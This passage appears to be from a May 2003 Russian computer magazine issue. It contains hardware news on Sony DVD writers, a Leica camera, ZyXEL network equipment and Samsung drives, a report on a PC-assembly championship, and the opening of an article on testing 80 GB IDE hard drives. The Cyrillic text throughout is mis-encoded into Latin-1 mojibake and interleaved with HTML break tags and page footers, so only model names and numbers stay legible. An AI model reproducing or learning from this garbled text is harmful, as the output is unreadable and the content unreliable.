ïðèñòóïèòü ê çàïèñè äèñêîâ ñàìûõ<br />

ðàçíûõ ôîðìàòîâ. Íèæå ïðèâåäåíû<br />

îñíîâíûå òåõíè÷åñêèå õàðàêòåðèñòèêè<br />

óñòðîéñòâ.<br />

Sony DRU-510A<br />

Ïîäêëþ÷åíèå ê PC: èíòåðôåéñ ATAPI<br />

(EIDE)<br />

Ñêîðîñòè çàïèñè/÷òåíèÿ:<br />

çàïèñü DVD-r(w) äèñêîâ íà ñêîðîñòè äî 4õ<br />

÷òåíèå DVD-ROM íà ñêîðîñòè äî<br />

12õ<br />

X-Ñòèëü


HardNews<br />

Nikitos (nikitos@real.xakep.ru)<br />

çàïèñü CD-R íà ñêîðîñòè äî 24õ<br />

çàïèñü CD-RW íà ñêîðîñòè äî 10õ<br />

÷òåíèå CD-ROM íà ñêîðîñòè äî 32õ<br />

Ðàçìåðû: 146õ41,4õ192 ìì (øèðèíà/âûñîòà/äëèíà)<br />

Ïîääåðæèâàåìûå ÎÑ: Windows 98SE/2000/Me/XP<br />

Ïèêîâàÿ ñêîðîñòü ïåðåäà÷è äàííûõ: 33,3 Ìáèò/ñ<br />

(ìàêñ.)<br />

Âðåìÿ äîñòóïà: 160 ìñ (CD-ROM), 200 ìñ (DVD-ROM)<br />

Îáúåì áóôåðà: 8 ÌÁ<br />

Ìåòîä çàïèñè (CD): äèñê öåëèêîì, äîðîæêà, ñåññèÿ,<br />

ïàêåòíàÿ çàïèñü<br />

(DVD): Çàïèñü ñ ïðîèçâîëüíûì äîñòóïîì<br />

(DVD+RW/DVD-RW), ïîñëåäîâàòåëüíàÿ çàïèñü<br />

(DVD+R/+RW, DVD-R/-RW)<br />

Ïîääåðæèâàåìûå ôîðìàòû äèñêîâ: DVD-ROM, DVD-<br />

Video, DVD+RW, DVD+R, DVD-RW, DVD-R, CD-ROM,<br />

CD-DA, Video CD, Photo CD (ìíîãîñåññèîííûå), CD<br />

TEXT, CD Extra<br />

Sony DRX-510UL<br />

Ïîäêëþ÷åíèå ê PC: USB 2.0 è i.LINK<br />

Ðàçìåðû: 164õ53õ246 ìì (øèðèíà/âûñîòà/äëèíà)<br />

Ïèêîâàÿ ñêîðîñòü ïåðåäà÷è äàííûõ: 480 Ìáèò/ñ (ìàêñèìàëüíàÿ<br />

äëÿ USB 2.0)<br />

Ñèìïîòíàÿ<br />

öèôðîâóøêà îò Leica<br />

Leica îáíîâèëà ëèíåéêó ñâîèõ öèôðîâûõ ôîòîêàìåð,<br />

âûïóñòèâ 3-ìåãàïèêñåëüíóþ ìàëûøêó, âûïîëíåííóþ<br />

â î÷åíü ñòèëüíîì ìåòàëëè÷åñêîì êîðïóñå èç àëþìèíèåâîãî<br />

ñïëàâà. Êàìåðà îáëàäàåò 3-êðàòíûì îïòè÷åñêèì<br />

çóìîì. Âîò îñíîâíûå ñïåöèôèêàöèè ìàëþòêè:<br />

* Ñåíñîð: 1/2,5» CCD-ìàòðèöà, 3,34 ìëí. ýëåìåíòîâ<br />

(3,2 ìëí. ýôôåêòèâíûõ ïèêñåëîâ)<br />

* Ðàçðåøåíèå: 2048x1536, 1600x1200, 1280x960,<br />

640x480 è 320x240 â ðåæèìå çàïèñè âèäåî<br />

* Ôîðìàòû ôàéëîâ: JPEG, DPOF, QuickTime Motion<br />

JPEG ñî çâóêîì<br />

* Íîñèòåëü: SD Memory Card, âìåñòå ñ êàìåðîé ïîñòàâëÿåòñÿ<br />

êàðòî÷êà îáúåìîì 64 Ìá<br />

* Ñâåòî÷óâñòâèòåëüíîñòü: ISO 50/18°, 100/21°, 200/24°<br />

è 400/27°<br />

* Îáúåêòèâ: LEICA DC VARIO-ELMARIT, àïåðòóðà<br />

F:2,8–4,9, ôîêóñíîå ðàññòîÿíèå 5,8–17,4 ìì (35-105<br />

ìì íà 35-ìì ýêâèâàëåíòå), 7 ýëåìåíòîâ, 6 ãðóïï, 3<br />

àñôåðè÷åñêèå ëèíçû<br />

* Öèôðîâîé çóì: 3x<br />

* Ìèíèìàëüíàÿ äèñòàíöèÿ ôîêóñèðîâêè: 10-30 ñì<br />

* Âðåìÿ âûäåðæêè: 1 - 1/2000 â ðåæèìå ôîòî, 1/30 -<br />

1/1000 ñ â ðåæèìå çàïèñè âèäåî<br />

* Âèäîèñêàòåëü: îïòè÷åñêèé, 0,36x-1,0õ<br />

* ÆÊ-äèñïëåé: 1,5» TFT 114000 ïèêñåëîâ<br />

* Òàéìåð: 2-10 ñ<br />

* Èíòåðôåéñû: 5-pin mini-USB 2.0, êîìïîçèòíûé àóäèî/âèäåî<br />

âûõîä<br />

* Ñîâìåñòèìîñòü: EPSON Print Image Matching System<br />

(PIM 2.5), Digital Print Order Format (DPOF), MacOS 9.x<br />

–MacOS X, Windows 98/ME/2000/XP<br />

* Ïèòàíèå: âñòðîåííûé ëèòèé-èîííûé àêêóìóëÿòîð<br />

680 ìÀ÷<br />

* Ýíåðãîïîòðåáëåíèå: íå áîëåå 2,1 Âò<br />

* Ðàçìåðû: 121x52x34 ìì<br />

* Âåñ: 200 ã âìåñòå ñ àêêóìóëÿòîðîì<br />

 íîìåðå:<br />

Íåõèëûé RAID<br />

Êðàñàâåö îò Philips<br />

Íîâûå ìàìû íà i875p<br />

DVD-ðåçàêè îò Sony<br />

C ZyXEL - â LAN<br />

16 àïðåëÿ êîìïàíèÿ ZyXEL ïðåäñòàâèëà â Ðîññèè<br />

äâå íîâûõ ëèíåéêè ñâîåé ïðîäóêöèè - îáîðóäîâàíèå<br />

äëÿ ëîêàëüíûõ (â òîì ÷èñëå áåñïðîâîäíûõ) ñåòåé.<br />

Ñåðèÿ OMNI LAN âêëþ÷àåò 10/100 è 1000-ìåãàáèòíûå<br />

ñåòåâûå êàðòû OMNI LAN PCI è ñåòåâûå<br />

êîììóòàòîðû, ìîäåëüíûé ðÿä êîòîðûõ äîâîëüíî<br />

øèðîê: îò ïðîñòûõ íàñòîëüíûõ 10/100 Ìáèò/ñ<br />

ñâèò÷åé (ñåðèÿ OMNI LAN SWITCH) äî íàâîðî÷åííûõ<br />

óïðàâëÿåìûõ ãèãàáèòíûõ êîììóòàòîðîâ (ìîäåëü<br />

ES-2008-GTP) è 24-ïîðòîâûõ êîììóòèðóþùèõ<br />

äåâàéñîâ (äëÿ ñòîéêè, ôîðìàò 1U) ñ ìîäóëüíîé àðõèòåêòóðîé<br />

(ìîäåëü ES-3024).<br />

 ëèíåéêó æå áåñïðîâîäíûõ (WLAN - Wave LAN) óñòðîéñòâ<br />

OMNI AIR âõîäÿò ñåòåâûå àäàïòåðû ñ ðàçëè÷íûìè<br />

èíòåðôåéñàìè, òî÷êè äîñòóïà (ïðîñòûå è<br />

ñ ôóíêöèÿìè ìàðøðóòèçàòîðà) è àíòåííû. Wirelessäåâàéñû<br />

ïîñòðîåíû íà ÷èïñåòå ZyXEL A1 ñîáñòâåííîé<br />

ðàçðàáîòêè ZyXEL, îáåñïå÷èâàþùåì âûñîêóþ<br />

ñêîðîñòü ïåðåäà÷è äàííûõ è áîëüøèå ðàññòîÿíèÿ,<br />

íà êîòîðûõ âîçìîæíà íàäåæíàÿ ðàáîòà. Óñòðîéñòâà<br />

ïîääåðæèâàþò ñòàíäàðò IEEE 802.11b (ñêîðîñòü äî<br />

11 Ìáèò/ñ).<br />

Âñå àêòèâíûå ñåòåâûå óñòðîéñòâà ZyXEL ðàáîòàþò ïîä<br />

óïðàâëåíèåì ZyNOS - ìàñøòàáèðóåìîé ÎÑè ZyXEL,<br />

ïîääåðæèâàþùåé áîëüøèíñòâî ñîâðåìåííûõ ñòàíäàðòîâ<br />

ñåòåâîé áåçîïàñíîñòè. Òàê ÷òî ëîêàëêà íà îñíîâå<br />

æåëåçà ZyXEL (äàæå áåñïðîâîäíàÿ!) áóäåò âïîëíå<br />

ñåêüþðíûì ìåñòîì.<br />

Íîâûå íàêîïèòåëè<br />

Samsung<br />

Ðåàëèçóÿ ñâîè íàïîëåîíîâñêèå ïëàíû ïî çàâîåâàíèþ<br />

ðûíêà æåñòêèõ äèñêîâ â Ðîññèè â ÷àñòíîñòè è â<br />

ìèðå âîîáùå, êîìïàíèÿ Samsung Electronics ïðåäñòàâèëà<br />

íîâûå ëèíåéêè âåí÷åñòåðîâ SpinPoint. Ñåðèè<br />

SpinPoint VL40 (20/30/40 Ãá) è PL40 (20/40Ãá) ÿâëÿþòñÿ<br />

íîâûì ïîêîëåíèåì íàêîïèòåëåé íà÷àëüíîãî<br />

óðîâíÿ ñ ïëîòíîñòüþ çàïèñè 40 Ãá íà áëèí è ñêîðîñòüþ<br />

âðàùåíèÿ øïèíäåëÿ 5400 è 7200 îá/ìèí ñîîòâåòñòâåííî.<br />

 ñåðèÿõ V80 è P80 (âûñîêîïðîèçâîäèòåëüíûå<br />

æåñòàêè) ïëîòíîñòü çàïèñè ïîâûñèëàñü â<br />

äâà ðàçà äî 80 Ãá/ïëàñòèíà (î ïëîòíîñòè ìîæíî ñóäèòü<br />

ïî öèôðå â íàçâàíèè ñåðèè). Êðîìå ýòîãî, äåâàéñû<br />

P80 îáëàäàåò 8-ìè ìåãîâûì áóôåðîì, à òàê<br />

æå âèí÷åñòåðû ýòîé ñåðèè ñíàáæåíû íîâîìîäíûì<br />

150 Ìá/c èíòåðôåéñîì Serial ATA (SATA). Âñå ïðåäñòàâëåííûå<br />

æåñòêèå äèñêè ïîääåðæèâàþò çàïàòåíòîâàííóþ<br />

àêóñòè÷åñêóþ òåõíîëîãèþ ïîäàâëåíèÿ øóìà<br />

Samsung NoiseGuard è SilentSeek.<br />

Òàêæå Samsung îáúÿâèëà î âûïóñêå îáíîâëåííîé<br />

ëèíåéêè îïòè÷åñêèõ ïðèâîäîâ<br />

(CD-ROM, CD-R/RW è<br />

Combo DVD-ROM/CD-<br />

R/RW), â êîòîðîé ìîæíî<br />

îòìåòèòü ïåðâûé<br />

â ìèðå êîìáèíèðîâàííûé<br />

ïðèâîä<br />

SM-352 ñ<br />

áóôåðîì â 8<br />

ìåãîâ è ðåêîðäíîé<br />

ñêîðîñòíîé ôîðìóëîé: 52x<br />

(çàïèñü)/24x (ïåðåçàïèñü)/52x<br />

(÷òåíèå)/16x (÷òåíèå DVD). Åñòåñòâåííî, îí ïîääåðæèâàåò<br />

âñå ñîâðåìåííûå ôîðìàòû: DVD-ROM, DVD-<br />

R, DVD-RW, DVD-RAM, DVD-Video, CD-DA, CD-ROM,<br />

CD-ROM/Xa è äð.<br />

ìàé<br />

2003<br />

¹53<br />

×åìïèîíàò ïî<br />

ñáîðêå ÏÊ: ýòàï 2<br />

Íå óñïåë âûéòè àïðåëüñêèé íîìåð, â êîòîðîì ìû<br />

ïèñàëè ïðî ×åìïèîíàò Ðîññèè ïî ñáîðêå êîìïüþòåðîâ,<br />

ïðîâîäèìûé êîìïàíèåé Gigabyte (âåðíåå, åãî<br />

ïåðâûé òóð), êàê ñîñòîÿëñÿ âòîðîé ýòàï ýòèõ ïî÷åòíûõ<br />

ñîðåâíîâàíèé. Ýòî ðàäîñòíîå ñîáûòèå ïðîèçîøëî<br />

â ñóááîòó, 23 àïðåëÿ, â òîðãîâîì êîìïëåêñå<br />

"Ìîñêâà" (ýòî òîò îôèãèòåëüíûõ ðàçìåðîâ "ìàãàçèí",<br />

÷òî íàõîäèòñÿ â Ëþáëèíî). Íà ñåé ðàç æåëàþùèõ<br />

èñïûòàòü ñåáÿ èëè ïîñìîòðåòü, êàê ýòî áóäóò<br />

äåëàòü äðóãèå, çàìåòíî ïðèáàâèëîñü.<br />

Ãëàâíîå, î ÷åì ñòîèò ðàññêàçàòü, ýòî, êîíå÷íî, íîâûé<br />

ðåêîðä. Íåâîîðóæåííûì âçãëÿäîì áûëî âèäíî,<br />

÷òî ðåáÿòà â ýòîò ðàç ñîáðàëèñü ñåðüåçíûå. Áîðüáà<br />

ðàçâåðíóëàñü íåøóòî÷íàÿ (õîòÿ ðóêè òðÿñëèñü äàæå ó<br />

ïóçàòûõ è íåáðèòûõ äÿäåé :)). Â îáùåì, òåïåðü äëÿ<br />

òîãî ÷òîáû ïîáîðîòüñÿ çà ïîáåäó â ôèíàëå, òåáå<br />

ïðèäåòñÿ íàó÷èòüñÿ ñîáèðàòü êîìï ìåíüøå, ÷åì çà<br />

ïÿòü ìèíóò: 23 ìàðòà áûëî çàôèêñèðîâàíî àáñîëþòíî<br />

ëó÷øåå âðåìÿ: 5 ìèíóò 8 ñåêóíä.<br />

Êñòàòè, â ýòîì ÷åìïèîíàòå X ïðèíÿë ñàìîå íåïîñðåäñòâåííîå<br />

ó÷àñòèå. Çðèòåëè è ó÷àñòíèêè ìîãëè<br />

ëèöåçðåòü íàøåãî ñïåöàãåíòà-äèâåðñàíòà ñðåäè<br />

áðàâîé êîìàíäû ñóäåé. Àãåíò ßäîâèòûé, áîëåå èçâåñòíûé<br />

êàê ãëàââðåä X, ñàìîîòâåðæåííî âûïîëíÿë<br />

ìèññèþ àðáèòðà (âñå äîâåðåííîå åìó îáîðóäîâàíèå<br />

ñîñòàâëÿëî îäèí åäèíñòâåííûé ñåêóíäîìåð, à ñ<br />

íèì äèâåðñèþ, ñîãëàñèñü, ïðîèçâåñòè çàòðóäíèòåëüíî<br />

:)), íî âíåçàïíî áûë ðàññåêðå÷åí è ïðåïðîâîæäåí<br />

íà ñöåíó äëÿ íàãðàæäåíèÿ ïîáåäèòåëåé.<br />

Ïî òðàäèöèè, áåç ïîäàðêîâ íèêòî íå óøåë: äàæå òå,<br />

êòî çàíÿë ïåðâûå ìåñòà ñ êîíöà, ïîëó÷èëè ïîîùðèòåëüíûå<br />

ïðèçû îò ìíîãî÷èñëåííûõ ñïîíñîðîâ (â îñîáåííîñòè,<br />

ãåíåðàëüíîãî - Gigabyte'à è êîìïàíèè Áþðîêðàò,<br />

ïðåäñòàâëÿþùåé òîðãîâóþ ìàðêó Genuis). À<br />

ïîáåäèòåëü óøåë äîìîé ñ íîâåíüêèì êîìïîì (P4,<br />

ÆÊ-ìîíèòîð è ò.ä.), êîòîðûé, â îáùåìòî,<br />

ìîæåò âûèãðàòü ëþáîé ïðÿìîðóêèé<br />

ëþáèòåëü PC. Ðåãèñòðàöèÿ ó÷àñòíèêîâ<br />

çäåñü: www.winner.gigabyte.ru.<br />

1 2 3 4<br />

10 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


Ferrum<br />

ÒÅÑÒÈÐÎÂÀÍÈÅ HDD Ñ ÈÍÒÅÐÔÅÉÑÎÌ IDE<br />

test_lab (test_lab@gameland.ru)<br />

Ñåãîäíÿ ìû ïðîòåñòèðîâàëè äëÿ òåáÿ 80-ãèãîâûå âèíòû. Ïî÷åìó èìåííî 80<br />

Äà ïîòîìó ÷òî íà ñåãîäíÿøíèé äåíü ýòî ñàìûé ïîïóëÿðíûé îáúåì. Ñóäè ñàì -<br />

äèñêè îáúåìîì 80 ãèãàáàéò ñòîÿò äîðîæå 40-ãèãîâûõ áàêñîâ íà 20-30<br />

(çàâèñèò îò òîãî, ãäå ïîêóïàòü). Îäíàêî ñòîÿò âîñüìèäåñÿòêè â ïåðåäåëàõ<br />

ñòà êîñìîêðåäîâ, â îòëè÷èå îò 120-ãèãîâîé ðîäíè. Íó à çàïðîñû íà îáúåìû ó<br />

íàñ íûí÷å âåëèêè, íóæíî, ÷òîáû âëåçàëè íîâûå ïðîæîðëèâûå ïðîãðàììû,<br />

íîâûå èãðû íà íåñêîëüêèõ äèñêàõ, ôèëüìû, ìóçûêà è, êîíå÷íî æå, ïîðíóøêà.<br />

Âñå ýòî êà÷àåòñÿ èç Õàëÿâíîãî èíåòà, èç äîìàøíåé ñåòè, ñ äèñêîâ, íà âðåìÿ<br />

ïîçàèìñòâîâàííûõ ó äðóçåé. Òåðïåíèÿ äëÿ òîãî, ÷òîáû çàïèñàòü âñþ<br />

ðàçðîñøóþñÿ êîëëåêöèþ íà CD-äèñêè íå õâàòèò, à ïèøóùèå DVD òîëüêî<br />

íàáèðàþò îáîðîòû. Òàê ÷òî áóäåì âûáèðàòü äëÿ òåáÿ 80-ãèãîâîãî äðóãà.<br />

Ïðåæäå ÷åì ïðèñòóïèòü ê ìàñøòàáíîìó<br />

òåñòèðîâàíèþ, äàâàé ïîäóìàåì:<br />

êàê òû èñïîëüçóåøü òâîþ òà÷êó.<br />

 æåëåçå íàìå÷àåòñÿ òðè ñåãìåíòà:<br />

íàñòîëüíûå ÏÊ (desktop), ðàáî÷èå<br />

ñòàíöèè (workstation), ñåðâåðíûå<br />

êîìïüþòåðû (server). Áûâàþò åùå<br />

ñóïåðêîìïüþòåðû è äðóãèå ñïåöèàëèçèðîâàííûå<br />

ìàøèíû, íî î íèõ<br />

ðå÷ü ñåé÷àñ íå èäåò. Ëó÷øå âñåãî òû<br />

çíàêîì ñ íàñòîëüíûìè êîìïàìè,<br />

ïîñêîëüêó îíè ñàìûå äåøåâûå,<br />

èìåííî èõ èñïîëüçóþò äîìà. Ñåðâåðíûå<br />

ìîíñòðû îòëè÷àþòñÿ ïîâûøåííîé<br />

íàäåæíîñòüþ, óâåëè÷åííûì<br />

êîëè÷åñòâîì ïðîöåññîðîâ, ðàñøèðåííûì<br />

îáúåìîì ïàìÿòè è ÊÝØà,<br />

âûñîêîñêîðîñòíûìè èíòåðôåéñàìè<br />

SCSI äëÿ íàêîïèòåëåé. Îíè ðàññ÷èòàíû<br />

íà ðàáîòó ñ áîëüøèì êîëè÷åñòâîì<br />

ïîëüçîâàòåëåé. Ðàáî÷àÿ ñòàíöèÿ<br />

çàíèìàåò ïðîìåæóòî÷íîå ïîëîæåíèå<br />

ìåæäó íàñòîëüíûì è ñåðâåðíûì<br />

êîìïîì. Îíà äîëæíà ðåøàòü<br />

èíäèâèäóàëüíûå çàäà÷è, äëÿ êîòîðûõ<br />

òðåáóåòñÿ ìîùü, ñðàâíèìàÿ ñ<br />

ñåðâåðíîé. Æåëåçî workstation òàêæå<br />

ìîæåò îòëè÷àòüñÿ ìíîãîïðîöåññîðíîñòüþ,<br />

ðàñøèðåííûì îáúåìîì<br />

ïàìÿòè, íàëè÷èåì ñïåöèàëèçèðîâàííûõ<br />

óñòðîéñòâ.<br />

Èòàê, ìû òîëüêî ÷òî âûÿñíèëè, ÷òî IDE<br />

âèí÷åñòåðû íå âñåãäà èñïîëüçóþòñÿ ñ<br />

ðàáî÷èìè ñòàíöèÿìè è ñåðâåðàìè, äëÿ<br />

íèõ ÷àñòî èñïîëüçóþò ñêàçåâûå âèíòû.<br />

Îäíàêî òû ìîæåøü ïûòàòüñÿ ðåøàòü íà<br />

ñâîåì íàñòîëüíîì ÏÊ çàäà÷è äëÿ workstation<br />

è server. Íàïðèìåð, òû ìîæåøü<br />

çàíÿòüñÿ íà äåñêòîïíîì ÏÊ ïðîôåññèîíàëüíûì<br />

âèäåîìîíòàæîì èëè çàõî÷åøü<br />

èñïîëüçîâàòü åãî â êà÷åñòâå ôàéë-ñåðâåðà<br />

â òâîåé äîìàøíåé ñåòè ëèáî â èíòåðíåòå.<br />

Äëÿ íàøåé ñòðàíû ýòî îñîáåííî<br />

àêòóàëüíî, ðóññêèé ÷åëîâåê âñåãäà ñòðåìèëñÿ<br />

âûæàòü èç äåøåâîãî æåëåçà ìàêñèìóì<br />

ïðîèçâîäèòåëüíîñòè. Âîò ìû è<br />

ïðîòåñòèëè îáû÷íûå IDE-õàðäû ñ ó÷åòîì<br />

ðåøåíèÿ òðåõ òèïîâ çàäà÷: íàñòîëüíûõ<br />

ñèñòåì, ðàáî÷èõ ñòàíöèé, ñåðâåðîâ.<br />

Èòàê, äëÿ âñåõ ïëàòôîðì ïðåæäå âñåãî<br />

âàæíà íàäåæíîñòü. Òû æå íå õî÷åøü,<br />

÷òîáû ïðîïàëè âñå òâîè äàííûå, âûñòðàäàííûå<br />

ãîäàìè êîïèðîâàíèÿ è ñêà÷èâàíèÿ.<br />

Íà íàäåæíîñòü êîñâåííî âëèÿåò<br />

òåìïåðàòóðíûé ðåæèì âèí÷åñòåðà. Êîëè÷åñòâî<br />

ëåò ãàðàíòèè ïðîèçâîäèòåëÿ<br />

òàêæå ìîæåò ãîâîðèòü î íàäåæíîñòè.<br />

Åñëè ïðîèçâîäèòåëü èëè ïðîäàâåö äàåò<br />

íà ñâîé äèñê ðàñøèðåííóþ ãàðàíòèþ,<br />

ýòî ìîæåò îçíà÷àòü, ÷òî îí óâåðåí â<br />

èñêëþ÷èòåëüíîì êà÷åñòâå ñâîåãî ïðîäóêòà.<br />

Õîòÿ îòñóòñòâèå ðàñøèðåííîé ãàðàíòèè<br />

ñàìî ïî ñåáå íå ãîâîðèò î íåíàäåæíîñòè<br />

õàðäà. Äåëî â òîì, ÷òî êîìïüþòåðíûå<br />

êîìïîíåíòû ñòàðåþò î÷åíü<br />

áûñòðî, è íåêîòîðûå ïðîèçâîäèòåëè îãðàíè÷èâàþò<br />

ãàðàíòèþ íà ñòàðîå æåëåçî<br />

äëÿ ýêîíîìèè ñðåäñòâ, õîòÿ ïîëíîñòüþ<br />

óâåðåíû â íàäåæíîñòè ñâîèõ ïðîäóêòîâ.<br />

 òåõíè÷åñêèõ õàðàêòåðèñòèêàõ âèíòà î<br />

íàäåæíîñòè ãîâîðèò òàêîé ïàðàìåòð, êàê<br />

ñðåäíåå âðåìåíè íàðàáîòêè íà îòêàç.<br />

Ïðè ýòîì ñðîê æèçíè ýëåêòðè÷åñêèõ<br />

êîìïîíåíòîâ – 5 ëåò, õîòÿ èç ïðàêòèêè<br />

èçâåñòíî ìíîãî ñëó÷àåâ, êîãäà âèí÷åñòåð<br />

æèë è áîëüøå. Òàêæå î íàäåæíîñòè<br />

êîñâåííî ãîâîðèò DTR (Data Transfer<br />

Rate) – ãðàôèê ÷òåíèÿ, ïîêàçûâàþùèé<br />

ñêîðîñòü ïåðåäà÷è äàííûõ â çàâèñèìîñòè<br />

îò ÷èòàåìîãî ìåñòà íà ïëàñòèíå, îá<br />

ýòîì ìû åùå ïîãîâîðèì ïîäðîáíåå.<br />

Äëÿ äîìàøíåãî è îôèñíîãî ïîëüçîâàòåëÿ<br />

íåìàëîâàæåí óðîâåíü øóìà. Òå, êòî<br />

ïðîâîäÿò â îáùåñòâå êîìïà áîëüøå<br />

âîñüìè ÷àñîâ â äåíü, çíàþò, êàê õî÷åòñÿ<br />

çàñòðåëèòüñÿ, êîãäà âèíò æóòêî âîåò èëè<br />

ãðîìûõàåò. Íà øóì òàêæå âëèÿåò òåìïåðàòóðà,<br />

ïîòîìó ÷òî åñëè âèí÷åñòåð ñèëüíî<br />

ãðååòñÿ, òåáå ïðèäåòñÿ ñòàâèòü äîïîëíèòåëüíûå<br />

âåíòèëÿòîðû, îõëàæäåíèÿ<br />

æåñòêîãî äèñêà, à îíè òîæå øóìÿò.<br />

Ðàçëè÷èÿ ñêîðîñòíûõ õàðàêòåðèñòèê<br />

ñîâðåìåííûõ âèíòîâ ìîæíî ïðî÷óâñòâîâàòü<br />

óæå íà ïðîôåññèîíàëüíûõ çàäà÷àõ<br />

äëÿ ðàáî÷èõ ñòàíöèé. Êîíå÷íî,<br />

íåïðèÿòíî, åñëè âèíò áóäåò çàïàçäûâàòü<br />

ñ çàãðóçêîé íóæíûõ ôðàãìåíòîâ<br />

âûñîêîêà÷åñòâåííîãî âèäåî èëè àóäèî â<br />

òâîé íîâûé ôèëüì èëè ìåãàìèêñ.<br />

 ñåðâåðíûõ ñèñòåìàõ ñ îãðîìíûì ÷èñëîì<br />

ïîëüçîâàòåëåé âñïëûâàåò íîâàÿ<br />

ïðîáëåìà: áîëüøîå êîëè÷åñòâî îäíîâðåìåííûõ<br />

çàïðîñîâ íà ÷òåíèå è çàïèñü äàííûõ.<br />

Ó äâóõ õàðäîâ ìîæåò áûòü îäèíàêîâàÿ<br />

ñêîðîñòü ïðè íåáîëüøîì êîëè÷åñòâå<br />

çàïðîñîâ, è ðàçëè÷íàÿ ïðè îãðîìíîì êîëè÷åñòâå<br />

îäíîâðåìåííûõ çàïðîñîâ. Äëÿ<br />

ñåðâåðíûõ çàäà÷ èãðàþò ðîëü íå òîëüêî<br />

ñêîðîñòíûå õàðàêòåðèñòèêè HDD, íî òàêæå<br />

ïðèîáðåòàåò îñîáóþ âàæíîñòü óìåíèå<br />

àëãîðèòìîâ õàðäà èíòåëëåêòóàëüíî ðàáîòàòü<br />

ñ äàííûìè - ó÷èòûâàòü êîíêóðåíöèþ<br />

ìåæäó ðàçíûìè çàïðîñàìè è àäðåñà ñ÷èòûâàíèÿ/çàïèñè<br />

äàííûõ. Íå íóæíî çàáûâàòü,<br />

÷òî ïðè áîëüøèõ íàãðóçêàõ íàãðåâ<br />

HDD óâåëè÷èâàåòñÿ, ñëåäîâàòåëüíî, òðåáóåòñÿ<br />

äîïîëíèòåëüíîå îõëàæäåíèå. Èñïîëüçîâàíèå<br />

âåíòèëÿòîðîâ â ñåðâåðíûõ<br />

ñèñòåìàõ – ðèñêîâàííîå äåëî. Âåäü îòêàç<br />

âåíòèëÿòîðà ìîæåò ïðèâåçòè ê îòêàçó<br />

âñåãî ñåðâåðà. Îäíàêî â áîëüøèíñòâå<br />

ñåðâåðíûõ ðåøåíèé íàãðóçêè òàêèå, ÷òî<br />

áåç äîïîëíèòåëüíîãî îõëàæäåíèÿ íèêàê<br />

íå îáîéòèñü.<br />

Âîò êðàòêèé ñïèñîê ïàðàìåòðîâ, âàæíûõ<br />

äëÿ ïðèìåíåíèÿ HDD â ðàçíûõ ñèñòåìàõ:<br />

1) Íàñòîëüíûå ñèñòåìû (desktop)<br />

íàäåæíîñòü;<br />

àêóñòè÷åñêèå õàðàêòåðèñòèêè;<br />

ñèíòåòè÷åñêèå ñêîðîñòíûå õàðàêòåðèñòèêè<br />

(Business, HI-END);<br />

2) Ïðîôåññèîíàëüíûå ñèñòåìû<br />

(work station)<br />

íàäåæíîñòü;<br />

ðåàëüíûå ñêîðîñòíûå õàðàêòåðèñòèêè;<br />

ñèíòåòè÷åñêèå ñêîðîñòíûå õàðàêòåðèñòèêè<br />

(Hi-End)<br />

àêóñòè÷åñêèå õàðàêòåðèñòèêè;<br />

3) Ñåðâåðíûå ñèñòåìû (server)<br />

íàäåæíîñòü;<br />

ðåàëüíûå ñêîðîñòíûå õàðàêòåðèñòèêè;<br />

ñèíòåòè÷åñêèå (WEB, FTP);<br />

àëãîðèòìû ÷òåíèÿ;<br />

àêóñòè÷åñêèå õàðàêòåðèñòèêè;<br />

Äåðæà â ãîëîâå ýòîò íåáîëüøîé ñïèñîê,<br />

ìû âûáðàëè òåñòû, îïðåäåëÿþùèå íóæíûå<br />

ïàðàìåòðû!<br />

1 2 3 4<br />

12 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


ÊÀÊ ÌÛ ÒÅÑÒÈÐÎÂÀËÈ<br />

Ïðîèçâîäèòåëüíîñòü ñîâðåìåííîé ñèñòåìû<br />

íå ñèëüíî âëèÿåò íà ðåçóëüòàòû<br />

òåñòèðîâàíèÿ æåñòêèõ äèñêîâ. Íàïðèìåð,<br />

íàøè êîëëåãè http://www.fcenter.ru/<br />

òåñòèðóþò æåñòêèå äèñêè íà ïëàòôîðìå<br />

PIII 800MHz (Intel i815). Ïðè ýòîì ðåçóëüòàòû<br />

íàøèõ òåñòîâ ðàçëè÷àþòñÿ íå<br />

ñèëüíî.<br />

HDTACH 2.61<br />

Îäèí èç ñàìûõ ïîïóëÿðíûõ òåñòîâ, êîòîðûé<br />

þçàþò ïîëüçîâàòåëè âî âñåì ìèðå.<br />

Ñ ïîìîùüþ ýòîé óòèëèòû ìû èçìåðÿëè<br />

ñêîðîñòè ÷òåíèÿ è çàïèñè (Read<br />

Speed & Write Speed). Íàì èíòåðåñíû<br />

ïèêîâûå ñêîðîñòè: ìèíèìàëüíàÿ (minimum),<br />

ìàêñèìàëüíàÿ (maximum), à òàêæå<br />

ñðåäíÿÿ (average). Ñêîðîñòè ÷òåíèÿ<br />

è çàïèñè çàâèñÿò îò ìíîæåñòâà óñëîâèé.<br />

Áîëüøå âñåãî íà ýòî âëèÿåò óäàëåíèå îò<br />

øïèíäåëÿ äèñêà. Óãëîâàÿ ñêîðîñòü âðàùåíèÿ<br />

áëèíà ïîñòîÿííà, à ëèíåéíàÿ<br />

ñêîðîñòü çàâèñèò îò ðàäèóñà óäàëåíèÿ<br />

îò øïèíäåëÿ. Òî åñòü åñëè ãîëîâêà äâèæåòñÿ<br />

îò êðàÿ ê öåíòðó, òî ëèíåéíàÿ<br />

ñêîðîñòü, ñ êîòîðîé ïðîáåãàþò ïîä íåé<br />

äîðîæêè, ïàäàåò.<br />

Ñ òî÷êè çðåíèÿ ïîëüçîâàòåëÿ ïðåäïî÷òèòåëüíåå<br />

ïîñòîÿííàÿ ñêîðîñòü. Âåäü<br />

òåáÿ íå äîëæíî âîëíîâàòü, â êàêîì ìåñòå<br />

íà áëèíå ëåæàò òâîè äàííûå, òû õî-<br />

÷åøü ïîëó÷àòü èõ èç ëþáîãî ìåñòà îäèíàêîâî<br />

áûñòðî. Ïîòîìó, ÷åì ìåíüøå<br />

ðàçíèöà ìåæäó ìàêñèìóìîì è ìèíèìóìîì,<br />

è ÷åì âûøå ñðåäíÿÿ ñêîðîñòü<br />

(average speed), òåì ëó÷øå!<br />

Ïðåæäå ÷åì ñ÷èòûâàòü äàííûå ñ áëèíà,<br />

íàäî íàéòè ìåñòî (ãäå îíè çàïèñàíû) è<br />

ïîñòàâèòü (ïîçèöèîíèðîâàòü) òóäà ãîëîâêó.<br />

Ýòè ìàíèïóëÿöèè âëèÿþò íà âðåìÿ<br />

ñëó÷àéíîãî äîñòóïà (Random Acñess<br />

Time). ×åì îíî ìåíüøå, òåì ëó÷øå. Îäèí<br />

